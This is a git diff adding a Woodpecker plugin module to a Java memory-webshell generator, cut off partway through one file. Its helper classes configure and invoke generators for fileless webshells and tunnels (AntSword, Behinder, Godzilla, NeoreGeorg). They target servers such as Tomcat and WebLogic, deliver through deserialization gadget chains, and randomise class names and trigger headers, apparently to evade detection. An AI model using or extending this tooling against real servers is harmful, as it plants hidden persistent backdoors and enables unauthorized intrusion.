diff --git a/jmg-woodpecker/pom.xml b/jmg-woodpecker/pom.xml
new file mode 100644
index 0000000..dbab36d
--- /dev/null
+++ b/jmg-woodpecker/pom.xml
@@ -0,0 +1,69 @@
+
+
+ 4.0.0
+
+ jmg
+ java-memshell-generator
+ ${project.build.version}
+
+
+ jmg-woodpecker
+
+
+ UTF-8
+
+
+
+
+ jmg
+ jmg-core
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-antsword
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-behinder
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-custom
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-godzilla
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-extender
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-neoregeorg
+ ${project.build.version}
+ compile
+
+
+ jmg
+ jmg-suo5
+ ${project.build.version}
+ compile
+
+
+
+
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java
new file mode 100644
index 0000000..1457ce5
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java
@@ -0,0 +1,34 @@
+package me.gv7.woodpecker.helper;
+
+
+import jmg.antsword.generator.AntSwordGenerator;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ShellHelperPlugin;
+import me.gv7.woodpecker.util.JMGResultUtil;
+
+import java.util.Map;
+
+public class AntSwordHelper extends ShellHelper {
+
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_ANTSWORD;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = initConfig(customArgs);
+ new AntSwordGenerator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printAntSwordBasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printDebugInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+}
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java
new file mode 100644
index 0000000..af05f92
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java
@@ -0,0 +1,34 @@
+package me.gv7.woodpecker.helper;
+
+import jmg.behinder.generator.BehinderGenerator;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ShellHelperPlugin;
+import me.gv7.woodpecker.util.JMGResultUtil;
+
+import java.util.Map;
+
+public class BehinderHelper extends ShellHelper {
+
+
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_BEHINDER;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = initConfig(customArgs);
+ new BehinderGenerator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printBehinderBasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printDebugInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+}
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java
new file mode 100644
index 0000000..3000afa
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java
@@ -0,0 +1,240 @@
+package me.gv7.woodpecker.helper;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.NotFoundException;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import jmg.core.util.ClassNameUtil;
+import jmg.core.util.CommonUtil;
+import jmg.custom.generator.CustomGenerator;
+import me.gv7.woodpecker.plugin.ShellHelperPlugin;
+import me.gv7.woodpecker.plugin.*;
+import me.gv7.woodpecker.util.JMGResultUtil;
+import javax.servlet.Filter;
+import javax.servlet.ServletRequestListener;
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+public class CustomHelper implements IHelper {
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_CUSTOM;
+ }
+
+ @Override
+ public IArgsUsageBinder getHelperCutomArgs() {
+ IArgsUsageBinder binder = ShellHelperPlugin.pluginHelper.createArgsUsageBinder();
+ List list = new ArrayList();
+
+ IArg server_type = ShellHelperPlugin.pluginHelper.createArg();
+ server_type.setName("server_type");
+ server_type.setType(7);
+ List enumServerType = new ArrayList();
+ enumServerType.add(Constants.SERVER_TOMCAT);
+ enumServerType.add(Constants.SERVER_SPRING_MVC);
+ enumServerType.add(Constants.SERVER_JETTY);
+ enumServerType.add(Constants.SERVER_RESIN);
+ enumServerType.add(Constants.SERVER_WEBLOGIC);
+ enumServerType.add(Constants.SERVER_WEBSPHERE);
+ enumServerType.add(Constants.SERVER_UNDERTOW);
+ enumServerType.add(Constants.SERVER_GLASSFISH);
+ server_type.setEnumValue(enumServerType);
+ server_type.setDefaultValue(Constants.SERVER_TOMCAT);
+ server_type.setRequired(true);
+ server_type.setDescription("自定义中间件");
+ list.add(server_type);
+
+ IArg shell_type = ShellHelperPlugin.pluginHelper.createArg();
+ shell_type.setName("shell_type");
+ shell_type.setType(7);
+ List enumShellType = new ArrayList();
+ enumShellType.add(Constants.SHELL_LISTENER);
+ enumShellType.add(Constants.SHELL_FILTER);
+ enumShellType.add(Constants.SHELL_INTERCEPTOR);
+ shell_type.setEnumValue(enumShellType);
+
+ IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
+ gadgetType.setName("gadget_type");
+ gadgetType.setType(7);
+ List enumGadgetType = new ArrayList();
+ enumGadgetType.add(Constants.GADGET_NONE);
+ enumGadgetType.add(Constants.GADGET_JDK_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_FJ_GROOVY);
+ enumGadgetType.add(Constants.GADGET_SNAKEYAML);
+ gadgetType.setEnumValue(enumGadgetType);
+ gadgetType.setDefaultValue(Constants.GADGET_NONE);
+ gadgetType.setRequired(true);
+ gadgetType.setDescription("自定义利用链");
+ list.add(gadgetType);
+
+
+ IArg formatType = ShellHelperPlugin.pluginHelper.createArg();
+ formatType.setName("format_type");
+ formatType.setType(7);
+ List enumFormattType = new ArrayList();
+ enumFormattType.add(Constants.FORMAT_BASE64);
+ enumFormattType.add(Constants.FORMAT_BIGINTEGER);
+ enumFormattType.add(Constants.FORMAT_BCEL);
+ enumFormattType.add(Constants.FORMAT_CLASS);
+ enumFormattType.add(Constants.FORMAT_JAR);
+ enumFormattType.add(Constants.FORMAT_JAR_AGENT);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ formatType.setEnumValue(enumFormattType);
+ formatType.setDefaultValue(Constants.FORMAT_BASE64);
+ formatType.setRequired(true);
+ formatType.setDescription("自定义输出格式");
+ list.add(formatType);
+
+ IArg class_file_path = ShellHelperPlugin.pluginHelper.createArg();
+ class_file_path.setName("class_file_path");
+ class_file_path.setDefaultValue("/tmp/woo.class");
+ class_file_path.setDescription("自定义内存马文件(.class)");
+ class_file_path.setRequired(true);
+ list.add(class_file_path);
+
+ IArg injector_class_name = ShellHelperPlugin.pluginHelper.createArg();
+ injector_class_name.setName("injector_class_name");
+ injector_class_name.setType(0);
+ injector_class_name.setRequired(false);
+ injector_class_name.setDescription("自定义注入器类名");
+ list.add(injector_class_name);
+ IArg url_pattern = ShellHelperPlugin.pluginHelper.createArg();
+
+ url_pattern.setName("url_pattern");
+ url_pattern.setType(0);
+ url_pattern.setDefaultValue("/*");
+ url_pattern.setRequired(false);
+ url_pattern.setDescription("自定义请求路径");
+ list.add(url_pattern);
+
+ IArg output_path = ShellHelperPlugin.pluginHelper.createArg();
+ output_path.setName("output_path");
+ output_path.setType(0);
+ output_path.setDefaultValue("workdir");
+ output_path.setRequired(false);
+ output_path.setDescription("自定义输出路径");
+ list.add(output_path);
+
+ binder.setArgsList(list);
+ return binder;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+
+ AbstractConfig config = new AbstractConfig();
+ config.setToolType(Constants.TOOL_CUSTOM);
+ config.setServerType((String) customArgs.get("server_type"));
+ config.setShellType((String) customArgs.get("shell_type"));
+ config.setOutputFormat((String) customArgs.get("format_type"));
+ config.setGadgetType((String) customArgs.get("gadget_type"));
+ if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern"));
+ if (customArgs.get("shell_class_name") != null)
+ config.setShellClassName((String) customArgs.get("shell_class_name"));
+ if (customArgs.get("injector_class_name") != null)
+ config.setInjectorClassName((String) customArgs.get("injector_class_name"));
+ if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path"));
+ if (customArgs.get("class_file_path") != null)
+ config.setClassFilePath((String) customArgs.get("class_file_path"));
+ if (config.getInjectorClassName() == null)
+ config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
+ if (config.getUrlPattern() == null) config.setUrlPattern("/*");
+ config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
+ if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
+
+ config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
+ File f;
+ try {
+ f = new File(config.getClassFilePath());
+ if (!f.exists() || !f.isFile()) {
+ resultOutput.warningPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath())));
+ return;
+ }
+ ClassPool classPool = ClassPool.getDefault();
+ classPool.insertClassPath(new ClassClassPath(Filter.class));
+ classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
+ classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
+ classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
+ String filePath = config.getClassFilePath();
+ CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
+ // Bug: 修复 custom 生成的注入器 shellClassName 为空导致注入失败的问题
+ config.setShellClassName(ctClass.getName());
+ if (isFilterClass(ctClass)) {
+ config.setShellType("Filter");
+ } else if (isListenerClass(ctClass)) {
+ config.setShellType("Listener");
+ } else if (isInterceptorClass(ctClass)) {
+ config.setShellType("Interceptor");
+ } else {
+ resultOutput.warningPrintln(filePath + " is neither a Filter nor a Listener.");
+ return;
+ }
+
+ } catch (Exception e) {
+ resultOutput.warningPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath())));
+ }
+ new CustomGenerator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printCustomBasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+
+
+ public static boolean isFilterClass(CtClass ctClass) throws NotFoundException, IOException {
+ CtClass[] interfaces = ctClass.getInterfaces();
+ CtClass[] var2 = interfaces;
+ int var3 = interfaces.length;
+
+ for (int var4 = 0; var4 < var3; ++var4) {
+ CtClass intf = var2[var4];
+ if (intf.getName().equals("javax.servlet.Filter")) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ public static boolean isListenerClass(CtClass ctClass) throws NotFoundException, IOException {
+ CtClass[] interfaces = ctClass.getInterfaces();
+ CtClass[] var2 = interfaces;
+ int var3 = interfaces.length;
+
+ for (int var4 = 0; var4 < var3; ++var4) {
+ CtClass intf = var2[var4];
+ if (intf.getName().equals("javax.servlet.ServletRequestListener")) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ public static boolean isInterceptorClass(CtClass ctClass) throws NotFoundException, IOException {
+ CtClass[] interfaces = ctClass.getInterfaces();
+ CtClass[] var2 = interfaces;
+ int var3 = interfaces.length;
+
+ for (int var4 = 0; var4 < var3; ++var4) {
+ CtClass intf = var2[var4];
+ if (intf.getName().contains("Interceptor")) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+}
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java
new file mode 100644
index 0000000..d7dc048
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java
@@ -0,0 +1,33 @@
+package me.gv7.woodpecker.helper;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import jmg.godzilla.generator.GodzillaGenerator;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ShellHelperPlugin;
+import me.gv7.woodpecker.util.JMGResultUtil;
+
+import java.util.Map;
+
+public class GodzillaHelper extends ShellHelper {
+
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_GODZILLA;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = initConfig(customArgs);
+ new GodzillaGenerator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printGodzillaBasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printDebugInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+}
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java
new file mode 100644
index 0000000..f7bbd92
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java
@@ -0,0 +1,37 @@
+package me.gv7.woodpecker.helper;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import jmg.neoregeorg.generator.NeoreGeorgGenerator;
+import me.gv7.woodpecker.plugin.IPluginHelper;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ProxyHelperPlugin;
+import me.gv7.woodpecker.util.JMGResultUtil;
+
+import java.util.Map;
+
+public class NeoreGeorgHelper extends ProxyHelper {
+
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_NEOREGEORG;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = initConfig(customArgs, new AbstractConfig());
+ config.setKey("neorgkey");
+ new NeoreGeorgGenerator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printNeoreGeorgBasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printDebugInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java
new file mode 100644
index 0000000..54990f3
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java
@@ -0,0 +1,157 @@
+package me.gv7.woodpecker.helper;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.ClassNameUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.RandomHttpHeaderUtil;
+import me.gv7.woodpecker.plugin.*;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * @author pen4uin
+ * @time 2024/8/22 22:55
+ */
+
+public class ProxyHelper implements IHelper {
+
+
+ @Override
+ public String getHelperTabCaption() {
+ return null;
+ }
+
+ public IArgsUsageBinder getHelperCutomArgs() {
+ IArgsUsageBinder binder = ProxyHelperPlugin.pluginHelper.createArgsUsageBinder();
+ List list = new ArrayList();
+ IArg server_type = ProxyHelperPlugin.pluginHelper.createArg();
+ server_type.setName("server_type");
+ server_type.setType(7);
+ List enumServerType = new ArrayList();
+ enumServerType.add(Constants.SERVER_TOMCAT);
+ enumServerType.add(Constants.SERVER_SPRING_MVC);
+ enumServerType.add(Constants.SERVER_JETTY);
+ enumServerType.add(Constants.SERVER_RESIN);
+ enumServerType.add(Constants.SERVER_WEBLOGIC);
+ enumServerType.add(Constants.SERVER_WEBSPHERE);
+ enumServerType.add(Constants.SERVER_UNDERTOW);
+ enumServerType.add(Constants.SERVER_GLASSFISH);
+ server_type.setEnumValue(enumServerType);
+ server_type.setDefaultValue(Constants.SERVER_TOMCAT);
+ server_type.setRequired(true);
+ server_type.setDescription("自定义中间件");
+ list.add(server_type);
+
+ IArg shell_type = ProxyHelperPlugin.pluginHelper.createArg();
+ shell_type.setName("shell_type");
+ shell_type.setType(7);
+ List enumShellType = new ArrayList();
+ enumShellType.add(Constants.SHELL_FILTER);
+ enumShellType.add(Constants.SHELL_LISTENER);
+ enumShellType.add(Constants.SHELL_INTERCEPTOR);
+ shell_type.setEnumValue(enumShellType);
+ shell_type.setDefaultValue(Constants.SHELL_LISTENER);
+ shell_type.setRequired(true);
+ shell_type.setDescription("自定义内存马类型");
+ list.add(shell_type);
+
+ IArg gadgetType = ProxyHelperPlugin.pluginHelper.createArg();
+ gadgetType.setName("gadget_type");
+ gadgetType.setType(7);
+ List enumGadgetType = new ArrayList();
+ enumGadgetType.add(Constants.GADGET_NONE);
+ enumGadgetType.add(Constants.GADGET_JDK_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_FJ_GROOVY);
+ enumGadgetType.add(Constants.GADGET_SNAKEYAML);
+ gadgetType.setEnumValue(enumGadgetType);
+ gadgetType.setDefaultValue(Constants.GADGET_NONE);
+ gadgetType.setRequired(true);
+ gadgetType.setDescription("自定义利用链");
+ list.add(gadgetType);
+
+ IArg formatType = ProxyHelperPlugin.pluginHelper.createArg();
+ formatType.setName("format_type");
+ formatType.setType(7);
+ List enumFormattType = new ArrayList();
+ enumFormattType.add(Constants.FORMAT_BASE64);
+ enumFormattType.add(Constants.FORMAT_BIGINTEGER);
+ enumFormattType.add(Constants.FORMAT_BCEL);
+ enumFormattType.add(Constants.FORMAT_CLASS);
+ enumFormattType.add(Constants.FORMAT_JAR);
+ enumFormattType.add(Constants.FORMAT_JAR_AGENT);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ formatType.setEnumValue(enumFormattType);
+ formatType.setDefaultValue(Constants.FORMAT_BASE64);
+ formatType.setRequired(true);
+ formatType.setDescription("自定义输出格式");
+ list.add(formatType);
+
+ IArg shell_class_name = ProxyHelperPlugin.pluginHelper.createArg();
+ shell_class_name.setName("shell_class_name");
+ shell_class_name.setType(0);
+ shell_class_name.setRequired(false);
+ shell_class_name.setDescription("自定义内存马类名");
+ list.add(shell_class_name);
+ IArg injector_class_name = ProxyHelperPlugin.pluginHelper.createArg();
+ injector_class_name.setName("injector_class_name");
+ injector_class_name.setType(0);
+ injector_class_name.setRequired(false);
+ injector_class_name.setDescription("自定义注入器类名");
+ list.add(injector_class_name);
+ IArg output_path = ProxyHelperPlugin.pluginHelper.createArg();
+ output_path.setName("output_path");
+ output_path.setType(0);
+ output_path.setDefaultValue("workdir");
+ output_path.setRequired(false);
+ output_path.setDescription("自定义输出路径");
+ list.add(output_path);
+ binder.setArgsList(list);
+ return binder;
+ }
+
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+
+ }
+
+ public AbstractConfig initConfig(Map customArgs, AbstractConfig config) {
+ config.setToolType(getHelperTabCaption());
+ config.setServerType((String) customArgs.get("server_type"));
+ config.setShellType((String) customArgs.get("shell_type"));
+ config.setOutputFormat((String) customArgs.get("format_type"));
+ config.setGadgetType((String) customArgs.get("gadget_type"));
+
+ // 用户自定义
+ if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern"));
+ if (customArgs.get("shell_class_name") != null)
+ config.setShellClassName((String) customArgs.get("shell_class_name"));
+ if (customArgs.get("injector_class_name") != null)
+ config.setInjectorClassName((String) customArgs.get("injector_class_name"));
+ if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path"));
+
+ // 无自定义则随机生成
+ Map.Entry header = RandomHttpHeaderUtil.generateHeader();
+ if (config.getHeaderName() == null) config.setHeaderName(header.getKey());
+ if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue());
+
+ if (config.getUrlPattern() == null) config.setUrlPattern("/*");
+ if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
+ if (config.getInjectorClassName() == null)
+ config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
+ if (config.getInjectorSimpleClassName() == null)
+ config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
+ if (config.getShellClassName() == null)
+ config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
+ if (config.getShellSimpleClassName() == null)
+ config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
+
+ config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
+
+ return config;
+ }
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java
new file mode 100644
index 0000000..0fa93ee
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java
@@ -0,0 +1,187 @@
+package me.gv7.woodpecker.helper;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.ClassNameUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.RandomHttpHeaderUtil;
+import me.gv7.woodpecker.plugin.*;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+public class ShellHelper implements IHelper {
+
+
+ @Override
+ public String getHelperTabCaption() {
+ return "";
+ }
+
+ public IArgsUsageBinder getHelperCutomArgs() {
+ IArgsUsageBinder binder = ShellHelperPlugin.pluginHelper.createArgsUsageBinder();
+ List list = new ArrayList();
+ IArg server_type = ShellHelperPlugin.pluginHelper.createArg();
+ server_type.setName("server_type");
+ server_type.setType(7);
+ List enumServerType = new ArrayList();
+ enumServerType.add(Constants.SERVER_TOMCAT);
+ enumServerType.add(Constants.SERVER_SPRING_MVC);
+ enumServerType.add(Constants.SERVER_JETTY);
+ enumServerType.add(Constants.SERVER_RESIN);
+ enumServerType.add(Constants.SERVER_WEBLOGIC);
+ enumServerType.add(Constants.SERVER_WEBSPHERE);
+ enumServerType.add(Constants.SERVER_UNDERTOW);
+ enumServerType.add(Constants.SERVER_GLASSFISH);
+ enumServerType.add(Constants.SERVER_JBOSS);
+ server_type.setEnumValue(enumServerType);
+ server_type.setDefaultValue(Constants.SERVER_TOMCAT);
+ server_type.setRequired(true);
+ server_type.setDescription("自定义中间件");
+ list.add(server_type);
+
+ IArg shell_type = ShellHelperPlugin.pluginHelper.createArg();
+ shell_type.setName("shell_type");
+ shell_type.setType(7);
+ List enumShellType = new ArrayList();
+ enumShellType.add(Constants.SHELL_LISTENER);
+ enumShellType.add(Constants.SHELL_FILTER);
+ enumShellType.add(Constants.SHELL_INTERCEPTOR);
+ shell_type.setEnumValue(enumShellType);
+
+ shell_type.setDefaultValue("Listener");
+ shell_type.setRequired(true);
+ shell_type.setDescription("自定义内存马类型");
+ list.add(shell_type);
+
+ IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
+ gadgetType.setName("gadget_type");
+ gadgetType.setType(7);
+ List enumGadgetType = new ArrayList();
+ enumGadgetType.add(Constants.GADGET_NONE);
+ enumGadgetType.add(Constants.GADGET_JDK_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_FJ_GROOVY);
+ enumGadgetType.add(Constants.GADGET_SNAKEYAML);
+ gadgetType.setEnumValue(enumGadgetType);
+ gadgetType.setDefaultValue(Constants.GADGET_NONE);
+ gadgetType.setRequired(true);
+ gadgetType.setDescription("自定义利用链");
+ list.add(gadgetType);
+
+ IArg formatType = ShellHelperPlugin.pluginHelper.createArg();
+ formatType.setName("format_type");
+ formatType.setType(7);
+ List enumFormattType = new ArrayList();
+ enumFormattType.add(Constants.FORMAT_BASE64);
+ enumFormattType.add(Constants.FORMAT_BIGINTEGER);
+ enumFormattType.add(Constants.FORMAT_BCEL);
+ enumFormattType.add(Constants.FORMAT_CLASS);
+ enumFormattType.add(Constants.FORMAT_JAR);
+ enumFormattType.add(Constants.FORMAT_JAR_AGENT);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ formatType.setEnumValue(enumFormattType);
+ formatType.setDefaultValue(Constants.FORMAT_BASE64);
+ formatType.setRequired(true);
+ formatType.setDescription("自定义输出格式");
+ list.add(formatType);
+ IArg pass = ShellHelperPlugin.pluginHelper.createArg();
+ pass.setName("pass");
+ pass.setType(0);
+ pass.setRequired(false);
+ pass.setDescription("自定义密码");
+ list.add(pass);
+ IArg shell_class_name = ShellHelperPlugin.pluginHelper.createArg();
+ shell_class_name.setName("shell_class_name");
+ shell_class_name.setType(0);
+ shell_class_name.setRequired(false);
+ shell_class_name.setDescription("自定义内存马类名");
+ list.add(shell_class_name);
+ IArg injector_class_name = ShellHelperPlugin.pluginHelper.createArg();
+ injector_class_name.setName("injector_class_name");
+ injector_class_name.setType(0);
+ injector_class_name.setRequired(false);
+ injector_class_name.setDescription("自定义注入器类名");
+ list.add(injector_class_name);
+ IArg url_pattern = ShellHelperPlugin.pluginHelper.createArg();
+ url_pattern.setName("url_pattern");
+ url_pattern.setType(0);
+ url_pattern.setDefaultValue("/*");
+ url_pattern.setRequired(false);
+ url_pattern.setDescription("自定义请求路径");
+ list.add(url_pattern);
+ IArg request_header_name = ShellHelperPlugin.pluginHelper.createArg();
+ request_header_name.setName("request_header_name");
+ request_header_name.setType(0);
+ request_header_name.setDefaultValue("random");
+ request_header_name.setRequired(false);
+ request_header_name.setDescription("自定义HTTP请求头: Header Name");
+ list.add(request_header_name);
+ IArg request_header_value = ShellHelperPlugin.pluginHelper.createArg();
+ request_header_value.setName("request_header_value");
+ request_header_value.setType(0);
+ request_header_value.setDefaultValue("random");
+ request_header_value.setRequired(false);
+ request_header_value.setDescription("自定义HTTP请求头: Header Value");
+ list.add(request_header_value);
+ IArg output_path = ShellHelperPlugin.pluginHelper.createArg();
+ output_path.setName("output_path");
+ output_path.setType(0);
+ output_path.setDefaultValue("workdir");
+ output_path.setRequired(false);
+ output_path.setDescription("自定义输出路径");
+ list.add(output_path);
+
+ binder.setArgsList(list);
+ return binder;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+
+ }
+
+ public AbstractConfig initConfig(Map customArgs) {
+ AbstractConfig config = new AbstractConfig();
+ config.setToolType(getHelperTabCaption());
+
+ config.setServerType((String) customArgs.get("server_type"));
+ config.setShellType((String) customArgs.get("shell_type"));
+ config.setOutputFormat((String) customArgs.get("format_type"));
+ config.setGadgetType((String) customArgs.get("gadget_type"));
+
+ // 用户自定义
+ if (customArgs.get("pass") != null) config.setPass((String) customArgs.get("pass"));
+ if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern"));
+ if (customArgs.get("shell_class_name") != null)
+ config.setShellClassName((String) customArgs.get("shell_class_name"));
+ if (customArgs.get("injector_class_name") != null)
+ config.setInjectorClassName((String) customArgs.get("injector_class_name"));
+ if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path"));
+ if (customArgs.get("request_header_name") != null)
+ config.setHeaderName((String) customArgs.get("request_header_name"));
+ if (customArgs.get("request_header_value") != null)
+ config.setHeaderValue((String) customArgs.get("request_header_value"));
+
+ // 无自定义则随机生成
+ Map.Entry header = RandomHttpHeaderUtil.generateHeader();
+ if (config.getHeaderName() == null) config.setHeaderName(header.getKey());
+ if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue());
+ if (config.getUrlPattern() == null) config.setUrlPattern("/*");
+ if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
+ if (config.getInjectorClassName() == null)
+ config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
+ if (config.getInjectorSimpleClassName() == null)
+ config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
+ if (config.getShellClassName() == null)
